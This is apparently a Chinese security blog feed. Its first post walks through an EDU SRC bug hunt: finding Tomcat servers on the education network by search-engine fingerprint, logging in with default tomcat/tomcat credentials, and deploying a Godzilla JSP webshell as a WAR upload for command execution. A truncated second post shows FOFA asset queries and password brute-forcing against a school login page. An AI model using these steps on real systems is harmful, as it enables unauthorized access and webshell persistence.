  <p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="color: rgb(255, 41, 65);">免责声明</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">由于传播、利用本公众号所提供的信息而造成</span></code><br/><code><span leaf="">的任何直接或者间接的后果及损失，均由使用</span></code><br/><code><span leaf="">者本人负责，公众号陌笙不太懂安全及作者不</span></code><br/><code><span leaf="">为此承担任何责任，一旦造成后果请自行承担！</span></code><br/><code><span leaf="">如有侵权烦请告知，我们会立即删除并致歉，谢谢！</span></code><br/></pre></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(0, 0, 0);font-weight: bold;">前言</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 17px;color: rgb(0, 0, 0);font-weight: normal;">刚挖掘edusrc的时候，因为复现过很多nday漏洞，所以基本都是找nday来打，这个是挖掘edusrc的第一个高危，没那么好的综合案例分享了，以后每天分享一点简单漏洞啥的，混混活跃度。</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(0, 0, 0);font-weight: bold;">信息收集</span></span></p><p data-pm-slice="0 0 []" style="margin-bottom: 24px;"><span leaf="">当初收集资产用的是360quake</span></p><p data-pm-slice="0 0 []" style="margin-bottom: 24px;"><span leaf="">语法用的这个，可以记一下，挖掘edu还是挺好用的</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__attr">isp</span>: <span class="code-snippet__string">&#34;中国教育网&#34;</span></span></code></pre></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008350" data-ratio="0.41759259259259257" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5be1eddc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FMSDUaqtwboSfd4J0bjy3muVcibANIWMibjKianS5bibeicX6xnhJz0RRLguuAPKgoKDbGOiaGoS3A8g0ppk4ACRLQ07Dn5yZnrYLicj9ZN6GE2icBwU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 0, 0);font-weight: normal;">然后配合tomcat的指纹进行测试</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf="">isp: <span class="code-snippet__string">&#34;中国教育网&#34;</span> <span class="code-snippet__title">AND </span>(<span class="code-snippet__attr">favicon</span>: <span class="code-snippet__string">&#34;4644f2d45601037b8423d45e13194c93&#34;</span>)</span></code></pre></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008351" data-ratio="0.42777777777777776" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f53bfa5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FMSDUaqtwboTpt3OZZLrJRAe2t1tkATuFHopzVH4BpNNS5XxL1oHklyAkniaXvHmrQLXLlBaERWXBL7UibZ50hzOnRTZw7uxvkHicqTljrE2X4g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 0, 0);font-weight: normal;">拿到资产后，试了几个，真就发现弱口令了，后续直接构造war包getshell</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(0, 0, 0);font-weight: bold;">漏洞挖掘</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 17px;color: rgb(0, 0, 0);font-weight: normal;">信息收集定位到这个资产，点击看到tomcat的默认页面</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008352" data-ratio="0.5517241379310345" data-s="300,640" type="block" data-type="png" data-w="870" src="https://wechat2rss.xlab.app/img-proxy/?k=d2aa68cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FMSDUaqtwboQZJicbnDeF7ztbtfRM5EJ9LrMa8U9iaWFCgxj4iajiaCxSAs3ycleSWPyvVxgy9sgMXu1AAqXxCbl9nic6WibwhapXGiaLjYicqwHmEibw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 0, 0);font-weight: normal;">点击manageApp进行登录</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4824074074074074" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100008353" src="https://wechat2rss.xlab.app/img-proxy/?k=45d49b70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboShATOQjjrTerC7hEGvxIhufqLc3JQFLYkWJriaMsYlg82wzVt61iceIJGibM7zPnTdAJsbwGpNVZ2icQeuItGABbHwI8UlDxXvofk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 0, 0);font-weight: normal;">手工尝试几个弱口令tomcat/tomcat直接进入后台</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 0, 0);font-weight: normal;">当然这里现在来看的话直接把所有资产导出批量用漏洞扫描器更高效。</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 0, 0);font-weight: normal;">进入后台之后来到war包上传这里</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008354" data-ratio="0.4981481481481482" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=415cb571&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboTUG8LusDAOSppIHf8MqtIYODDpvNkJxufic4M0ibNO7ibTLJTLI6XuiatVlanYVH3AUWmvTflMhUWtwqUyvzpVAhXSobwB8ATozd8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 0, 0);font-weight: normal;">先不要上传任何内容，制作war包</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 18px;">使用哥斯拉生成一个木马</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4097297297297297" data-s="300,640" data-type="png" data-w="925" type="block" data-imgfileid="100008355" src="https://wechat2rss.xlab.app/img-proxy/?k=52214dee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboRZvQrRZAJ27STsSJm7aicXo0CdncjI7laOicLbODYrwm1nVV91uB0MzakFTMDf9ORiaOQapehhDH2f6tHjWEk4zYEewC8JAcPGgY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span style="color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 18px;">生成之后保存为test.jsp之后压缩成压缩包test.zip然后给压缩包重命名为test.war找到刚才那个上传点进行上传</span></span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008356" data-ratio="0.5671641791044776" data-s="300,640" type="block" data-type="png" data-w="536" src="https://wechat2rss.xlab.app/img-proxy/?k=37b8a605&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboTibYl9kk1mGAthJPYMSgbuVNYkVOibRr7qdMQqb1Ynqk3YL7AyPsriceKWFabpUzTnLKrpq8IcKelNvVMw1gXEMeg6ibkmladgMPs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3621973929236499" data-s="300,640" data-type="png" data-w="1074" type="block" data-imgfileid="100008357" src="https://wechat2rss.xlab.app/img-proxy/?k=61f7aa85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboSc4pwibZj5Bm4I3V3lgPcXK66ylsclPibCRrxLvBsf1coZoRwfkicehRXiaMWwgIoT54Ew5hRzxcr3DeibJ3M3Xl0naMp7OdkcS13w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf="">点击上传上传之后访问地址 <a href="http://xxxx/test/test.jsp" target="_blank">http://xxxx/test/test.jsp</a> 可以看到空白，之后使用哥斯拉连接</span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008358" data-ratio="0.3063147973609802" data-s="300,640" type="block" data-type="png" data-w="1061" src="https://wechat2rss.xlab.app/img-proxy/?k=df18c887&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboRgk56KfJwMsSPaIiasvrtMyrFMK7lLS81RwK2sHibYFccKZicCJ93ia4fialQ0rZPnEbtOiahlSJ51qibbSPQZB9dKCxcdib3ibuRNCWPo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf="">24年这块，连接成功后，直接进入</span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008359" data-ratio="0.30905695611577966" data-s="300,640" type="block" data-type="png" data-w="1071" src="https://wechat2rss.xlab.app/img-proxy/?k=56583ce1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboSFfDcDiaRSUPwUNhC6StabJag2tBn7Rd8KRYAAl5xNicUsoVic2BpwFlkKrFEcyEficrVk7GvMys8ex01x3csPRXCnFpIpWibqPxUY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf="">执行命令成功回显</span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008360" data-ratio="0.4361111111111111" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=232bda34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FMSDUaqtwboQcrak0tRz4ibGxr32KY4U1wLPw6FFU4kqwcfP7iafSjUAIwJHsCtq18RJ64BYIWI9HpYxQR8NIsHC41f6jHctuAAqbQBBVenKag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 0, 0);font-weight: normal;">也是非常的遵纪守法</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008361" data-ratio="0.3685185185185185" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c202d5f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboQogC9qgTkfykrT2aG17agNkIpujJaYq9a92ib7hjXlxEPffbHbypYwufoevefHx9bnV4RGt8Kd4Y0FfFlqwkXN4kzoc5Cmk2Iw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008362" data-ratio="0.38796296296296295" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=89b0dfbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboSXymdtkI6Kt8195dTx8lk5h1mQEX1sLkeL3CIra1p9Xwl0QpJD8ia5UltaBpGtNIsrbFxZFjke01Yc1NgZ3asVpjQXgMDibreyg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 20px;color: rgb(0, 0, 0);font-weight: bold;">总结</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 0, 0);font-weight: normal;">现在nday可能没那么多了，但是大力出奇迹，漏洞之鱼肯定还是有的，我这里扫描器，就出了一些，过几天可以水一篇。</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 0, 0);font-weight: normal;">tomcat常见漏洞可以看这个文章</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk1NzgzMjkxOQ==&amp;mid=2247486040&amp;idx=1&amp;sn=80cfa917ec2d97904770ea3ce2842ddc&amp;token=958237576&amp;lang=zh_CN&amp;scene=21#wechat_redirect" textvalue="Tomcat常见漏洞汇总" data-itemshowtype="0" linktype="text" data-linktype="2">Tomcat常见漏洞汇总</a></span></p><p class="mp_common_sticker_iframe_wrp" nodeleaf="" style="margin-bottom: 24px;"><mp-common-sticker data-pluginname="emotion" data-md5="45f7ab83ce9de0efd63fb99bf4d32914" data-emoji_url="https://mmbiz.qpic.cn/sz_mmbiz_gif/MSDUaqtwboQ1MYdwBkRJlg2weGFrVGQdlCI8sG7Iwr7d3Pz7bkcFedkf7gYib7ib3lXW40zkicWF7EOVHYY3rfh7qnibWKANGxaiaRuQib9OF95Vk/0" data-is_ban="0" data-type="0" data-loading="0" data-error="0" data-inserted="1"></mp-common-sticker></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="margin-bottom: 0px;" data-pm-slice="4 1 []"><strong><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></strong></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8bdedbfd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499629%26idx%3D1%26sn%3Dce31d190bddea6d193475e463b76fb08">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 01 Jul 2026 11:45:00 +0800</pubDate>
    </item>
    <item>
      <title>阿里云临时安全凭证STS利用</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499618&amp;idx=1&amp;sn=1f2a6f3358c79531fa15b821ae996d79</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>陌笙</span> <span>2026-06-30 11:00</span> <span style="display: inline-block;">江苏</span></p>




  <p>以下文章来源于：陌笙不太懂安全</p>
  <strong>陌笙不太懂安全</strong>
  <p>web安全知识分享,渗透测试,SRC,CTF,等优质内容分享学习！</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5943e1fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7xtecWUgCRzkkMmAUeWGCcp6O03ZSAzsNYYqibUkYvHSz6ES8T0U2wOeFEUgVOJVzan7aCEXwHhohMfAo276XnxIF247gwOGyXkicSEOlk45A%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="color: rgb(255, 41, 65);">免责声明</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">由于传播、利用本公众号所提供的信息而造成</span></code><br/><code><span leaf="">的任何直接或者间接的后果及损失，均由使用</span></code><br/><code><span leaf="">者本人负责，公众号陌笙不太懂安全及作者不</span></code><br/><code><span leaf="">为此承担任何责任，一旦造成后果请自行承担！</span></code><br/><code><span leaf="">如有侵权烦请告知，我们会立即删除并致歉，谢谢！</span></code><br/></pre></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(0, 0, 0);font-weight: bold;">前言</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">快暑假了，有没有师傅公司，缺实习生的，</span></code><br/><code><span leaf="">求内推，缺人的师傅可以，私我，呜呜呜。</span></code><br/></pre></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(0, 0, 0);font-weight: bold;">信息收集</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">这里很常规的一种获取资产的方法</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">直接把学校的名字，域名啥的，组合成语法，像这样，丢到fofa里面</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">(title=&#34;xxx&#34; || domain=&#34;xxx&#34; || host=&#34;xxx&#34;)&amp;&amp;status_code=200</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">拿到资产后，无影探活，对存活的资产进行挖掘就行</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">我这里发现了这个登录框</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37407407407407406" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100008081" src="https://wechat2rss.xlab.app/img-proxy/?k=97ed9a8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboSMXDV7URZ7HpVpibibItZB6ncnEhSXTxR3XSxiaLJl6w3o3O9zdWHpzO9HmSk5PSMyE2vhic1iaJGzntzxvCKhqo3N2oLBqP0c1638%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">这种连图形验证码，都没有的登录框是最好挖的</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">至少可以爆一手，弱口令</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">登录框的常见测试手法</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.2081575246132208" data-s="300,640" data-type="png" data-w="711" type="block" data-imgfileid="100008082" src="https://wechat2rss.xlab.app/img-proxy/?k=883a5649&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FMSDUaqtwboSqMiaiaOqO6iatPLLIvia9YZPRrpWHRE3xbqflxNkKf4vqiatxWaTGDuCJiaNiarlSTF7amoYiagOlVITDzFSERGvo13yMe7Ker5dGwI0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">这里不存在用户枚举，猜一手，admin/test用户应该存在</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">直接固定用户爆破密码top9000,没啥效果</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">然后固定密码123456爆破常见用户，也没有突破</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">后台有点不太好进，重点看看接口</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9642857142857143" data-s="300,640" data-type="png" data-w="476" type="block" data-imgfileid="100008083" src="https://wechat2rss.xlab.app/img-proxy/?k=a7b175bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboQBQk9yGA9ghaw8vYEnh65CLZF6OJB9SLxEpFITdhcS82KuFic6DHu1ib45nVeFTKWLKRFMicBEPWpuqCs3sZrTuv7oCbsf3CHibY8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: 